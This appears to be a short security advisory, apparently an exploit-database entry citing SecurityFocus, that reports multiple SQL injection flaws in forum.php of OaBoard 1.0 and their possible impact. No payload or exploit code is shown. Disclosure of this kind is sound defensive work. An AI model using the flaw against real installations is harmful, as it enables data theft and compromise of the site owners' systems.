OaBoard 1.0 - forum.php Multiple SQL Injections

source: https://www.securityfocus.com/bid/15245/info

OaBoard is prone to multiple SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
